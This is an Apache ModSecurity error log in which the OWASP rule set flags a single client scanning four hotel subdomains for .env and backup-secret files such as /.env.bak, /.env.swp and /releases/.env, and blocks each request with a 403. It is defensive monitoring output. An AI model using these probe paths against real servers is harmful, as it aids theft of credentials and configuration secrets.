[Tue Oct 27 01:43:47.712171 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6E8qawth2HP9RxtL-3QAAAAY"]
[Tue Oct 27 01:43:47.712400 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6E8kbbDK06qDUYmCovAAAAAU"]
[Tue Oct 27 01:43:47.712400 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6E8qawth2HP9RxtL-3QAAAAY"]
[Tue Oct 27 01:43:47.712662 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "auA6E8kbbDK06qDUYmCovAAAAAU"]
[Tue Oct 27 01:43:47.712666 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6E8qawth2HP9RxtL-3QAAAAY"]
[Tue Oct 27 01:43:47.722763 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwQAAAAg"]
[Tue Oct 27 01:43:47.722955 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwQAAAAg"]
[Tue Oct 27 01:43:47.723190 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwQAAAAg"]
[Tue Oct 27 01:43:47.749211 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6E0tgBhmk9Q7hbpqXxgAAAAs"]
[Tue Oct 27 01:43:47.749413 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6E0tgBhmk9Q7hbpqXxgAAAAs"]
[Tue Oct 27 01:43:47.749686 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auA6E0tgBhmk9Q7hbpqXxgAAAAs"]
[Tue Oct 27 01:43:47.800913 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6E0tgBhmk9Q7hbpqXxwAAAAs"]
[Tue Oct 27 01:43:47.801147 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6E0tgBhmk9Q7hbpqXxwAAAAs"]
[Tue Oct 27 01:43:47.801456 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "auA6E0tgBhmk9Q7hbpqXxwAAAAs"]
[Tue Oct 27 01:43:47.804505 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6E8qawth2HP9RxtL-3gAAAAY"]
[Tue Oct 27 01:43:47.804679 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6E8qawth2HP9RxtL-3gAAAAY"]
[Tue Oct 27 01:43:47.804911 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6E8qawth2HP9RxtL-3gAAAAY"]
[Tue Oct 27 01:43:47.810381 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwgAAAAg"]
[Tue Oct 27 01:43:47.810527 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwgAAAAg"]
[Tue Oct 27 01:43:47.810734 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwgAAAAg"]
[Tue Oct 27 01:43:47.834988 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6E8qawth2HP9RxtL-3wAAAAY"]
[Tue Oct 27 01:43:47.835166 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6E8qawth2HP9RxtL-3wAAAAY"]
[Tue Oct 27 01:43:47.835394 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6E8qawth2HP9RxtL-3wAAAAY"]
[Tue Oct 27 01:43:47.868657 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6E0tgBhmk9Q7hbpqXyAAAAAs"]
[Tue Oct 27 01:43:47.869967 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6E0tgBhmk9Q7hbpqXyAAAAAs"]
[Tue Oct 27 01:43:47.868753 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6E8kbbDK06qDUYmCovQAAAAU"]
[Tue Oct 27 01:43:47.870275 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "auA6E0tgBhmk9Q7hbpqXyAAAAAs"]
[Tue Oct 27 01:43:47.870383 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6E8kbbDK06qDUYmCovQAAAAU"]
[Tue Oct 27 01:43:47.870624 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "auA6E8kbbDK06qDUYmCovQAAAAU"]
[Tue Oct 27 01:43:47.982374 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwwAAAAg"]
[Tue Oct 27 01:43:47.982615 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwwAAAAg"]
[Tue Oct 27 01:43:47.982885 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/bootstrap/.env"] [unique_id "auA6Ew67030o4-ZAUjLpwwAAAAg"]
[Tue Oct 27 01:43:47.983412 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6E8qawth2HP9RxtL-4AAAAAY"]
[Tue Oct 27 01:43:47.983580 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6E8qawth2HP9RxtL-4AAAAAY"]
[Tue Oct 27 01:43:47.983860 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6E8qawth2HP9RxtL-4AAAAAY"]
[Tue Oct 27 01:43:47.983946 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6E8kbbDK06qDUYmCovgAAAAU"]
[Tue Oct 27 01:43:47.984107 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6E8kbbDK06qDUYmCovgAAAAU"]
[Tue Oct 27 01:43:47.984319 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auA6E8kbbDK06qDUYmCovgAAAAU"]
[Tue Oct 27 01:43:48.020843 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6FEtgBhmk9Q7hbpqXyQAAAAs"]
